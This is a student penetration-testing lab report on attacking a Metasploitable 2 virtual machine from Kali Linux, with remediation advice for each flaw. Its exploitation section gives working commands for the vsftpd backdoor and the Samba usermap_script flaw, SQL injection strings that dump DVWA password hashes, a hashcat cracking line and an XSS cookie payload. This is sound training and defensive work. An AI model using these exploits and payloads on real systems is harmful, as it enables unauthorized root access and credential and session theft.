Penetration Testing of Metasploitable 2 Using Kali Linux: Setup, Exploitation, and Remediation

Student Name

Department of Computer Science, University Name

Course Number: Course Name

Instructor Name

Due Date

Abstract

This report documents the construction of an isolated virtual penetration-testing laboratory and the assessment of an intentionally vulnerable target. An attacker virtual machine running Kali Linux and a target virtual machine running Metasploitable 2 were deployed on a host-only network to ensure all activity remained contained. Reconnaissance with Nmap identified numerous exposed services, several running outdated or deliberately backdoored software. Three representative attacks were demonstrated: the vsftpd 2.3.4 backdoor (CVE-2011-2523), the Samba usermap_script command injection (CVE-2007-2447), and SQL injection and cross-site scripting within the Damn Vulnerable Web Application. Each vulnerability is analyzed by root cause, impact, and remediation. The findings reinforce core defensive principles: timely patching, elimination of default credentials, encryption of network traffic, and rigorous input validation and output encoding.

Keywords: penetration testing, Kali Linux, Metasploitable 2, vulnerability assessment, network security

Penetration Testing of Metasploitable 2 Using Kali Linux: Setup, Exploitation, and Remediation

Hands-on experimentation in a controlled environment is a widely accepted method for developing practical security skills. Metasploitable 2 is a purpose-built, intentionally vulnerable Linux virtual machine distributed for training, while Kali Linux is a security-focused distribution that bundles the reconnaissance and exploitation tools used by practitioners (OffSec, n.d.; Rapid7, n.d.). This report describes the laboratory configuration and reports the results of attacking the target. All testing was conducted against the author's own virtual machines on an isolated host-only network; the techniques shown are illegal when applied to systems without ownership or written authorization.

Laboratory Environment

Virtualization and Network Isolation

The laboratory comprised two virtual machines hosted on a single physical computer. A hypervisor (VMware Workstation, VirtualBox, or UTM on Apple Silicon) provided virtualization; hardware virtualization extensions (Intel VT-x or AMD-V) were enabled in firmware to support 64-bit guests. Both virtual machines were attached to a *host-only* network so that traffic was confined to the two guests and the host, preventing any interaction with production networks or the internet.

Attacker and Target Configuration

Kali Linux was deployed from the official prebuilt image and authenticated with its default account. Metasploitable 2 was deployed by attaching its existing virtual disk to a new Linux virtual machine and was authenticated with the documented credentials `msfadmin/msfadmin`. When 3D graphics acceleration caused instability, disabling it in the virtual machine's display settings resolved the problem. The target's address was obtained with `ifconfig`, and connectivity between the guests was confirmed with a ping before testing began. The target's bundled Damn Vulnerable Web Application (DVWA) was reached from the Kali

browser and authenticated with its default credentials (`admin/password`), confirming that the environment was ready for assessment.

Methodology

The assessment followed the conventional phases of a penetration test, scaled to the laboratory: reconnaissance and scanning, enumeration, exploitation, and analysis with remediation (Kennedy et al., 2011). All commands were issued from Kali; the placeholder `$TARGET` represents the target's host-only address.

```
TARGET=192.168.56.102   # the Metasploitable 2 IP address
```

Reconnaissance

A full TCP port scan with service and version detection was performed using Nmap to establish the attack surface.

```
nmap -sV -sC -p- -T4 $TARGET -oN nmap-full.txt
```

The scan revealed a deliberately broad attack surface, including multiple services running outdated or backdoored software. Representative results are summarized in Table 1.

Table 1

Representative Open Services on the Metasploitable 2 Target

Port	Service	Notable issue
21	vsftpd 2.3.4	Backdoored version (CVE-2011-2523)
22	OpenSSH 4.7p1	Outdated; brute-forceable accounts
23	Telnet	Cleartext authentication
80	Apache 2.2.8 / PHP 5.2.4	Hosts DVWA and Mutillidae
139/445	Samba 3.x	usermap_script RCE (CVE-2007-2447)
3306	MySQL 5.0.51a	Blank or weak root password
5900	VNC	Weak password
6667	UnrealIRCd	Backdoor (CVE-2010-2075)

Note. Port and version data are illustrative of a typical scan; the exact versions observed in testing justify each exploit discussed below.

Exploitation

Three attacks were selected to span distinct vulnerability classes: a network-service backdoor, a service-configuration command injection, and web-application injection flaws.

vsftpd 2.3.4 Backdoor (CVE-2011-2523)

A compromised distribution of the vsftpd 2.3.4 source opened a command shell on port 6200 whenever a username containing the character sequence ":)" was supplied (MITRE, n.d.-a). The backdoor was triggered manually and, alternatively, through the Metasploit Framework.

```
nc $TARGET 21
USER test:)
PASS test
# then connect to the opened shell:
nc $TARGET 6200
id        # -> uid=0(root)

# Metasploit equivalent:
msfconsole -q
use exploit/unix/ftp/vsftpd_234_backdoor
set RHOSTS $TARGET
run
```

The root cause is a supply-chain compromise: malicious code was introduced into the source archive. The impact is unauthenticated remote code execution with root privileges. Remediation requires obtaining software only from verified repositories, validating cryptographic signatures and hashes before installation, and applying vendor patches promptly.

Samba usermap_script Command Injection (CVE-2007-2447)

Samba versions 3.0.20 through 3.0.25rc3 passed the supplied username to a shell when a username-map script was configured, so shell metacharacters embedded in the username executed as root (MITRE, n.d.-b).

```
msfconsole -q
use exploit/multi/samba/usermap_script
set RHOSTS $TARGET
set LHOST <KALI_IP>
run
id; uname -a   # -> root
```

The root cause is the interpolation of unsanitized user input into a shell command. The impact is unauthenticated remote code execution with root privileges over the Server Message Block service. Remediation requires patching Samba, never constructing shell commands from untrusted input, and running network daemons with least privilege.

Web-Application Injection in DVWA

With the DVWA security level set to low, two prevalent web-application weaknesses were demonstrated (OWASP Foundation, 2021).

SQL Injection

Supplying a crafted value to the user-identifier parameter altered the application's SQL query, returning all records and ultimately the stored credential hashes.

```
1' OR '1'='1
# retrieve stored hashes:
1' UNION SELECT user, password FROM users -- -

# crack the unsalted MD5 hashes offline:
hashcat -m 0 hash.txt /usr/share/wordlists/rockyou.txt
```

Cross-Site Scripting

A script supplied to a reflected input field executed in the browser, demonstrating that user input was returned without output encoding.

```
<script>alert(document.cookie)</script>
```

The root cause of both flaws is the incorporation of user input into SQL statements or HTML output without parameterization or encoding. The impact includes database exfiltration, credential theft, and session hijacking. Remediation requires parameterized queries, context-aware output encoding, a Content-Security-Policy header, and salted, computationally expensive password hashing such as bcrypt or Argon2.

Findings and Discussion

The three demonstrated attacks, summarized in Table 2, each granted significant unauthorized access. Across the target, the recurring root causes were unpatched or backdoored software, default and weak credentials, cleartext protocols, and absent input validation and output encoding.

Table 2

Summary of Demonstrated Attacks

Vulnerability	Vector	Access gained	Severity
vsftpd 2.3.4 backdoor	FTP (21/6200)	Root shell	Critical
Samba usermap_script	SMB (445)	Root shell	Critical
DVWA SQLi and XSS	HTTP (80)	Database and cookie theft	High

These results map directly to established defensive practices. Organizations should patch and update continuously and obtain software from trusted, signature-verified sources; remove

default accounts and enforce strong, unique credentials; disable unused services; replace cleartext protocols such as Telnet with encrypted equivalents such as SSH; validate input and encode output in web applications; and segment networks to limit service exposure (OWASP Foundation, 2021).

Conclusion

A contained laboratory of Kali Linux and Metasploitable 2 provided a safe setting to practice the full assessment workflow. Reconnaissance exposed a large attack surface, and three exploits spanning different vulnerability classes each yielded substantial access. The exercise demonstrates both how readily outdated and misconfigured systems are compromised and how straightforward, disciplined defensive measures would have prevented every attack shown.

References

Kennedy, D., O'Gorman, J., Kearns, D., & Aharoni, M. (2011). *Metasploit: The penetration tester's guide*. No Starch Press.

MITRE. (n.d.-a). *CVE-2011-2523*. Common Vulnerabilities and Exposures. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-2523

MITRE. (n.d.-b). *CVE-2007-2447*. Common Vulnerabilities and Exposures. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-2447

OffSec. (n.d.). *Kali Linux*. https://www.kali.org

OWASP Foundation. (2021). *OWASP top 10:2021*. https://owasp.org/Top10/

Rapid7. (n.d.). *Metasploitable 2*. https://docs.rapid7.com/metasploit/metasploitable-2/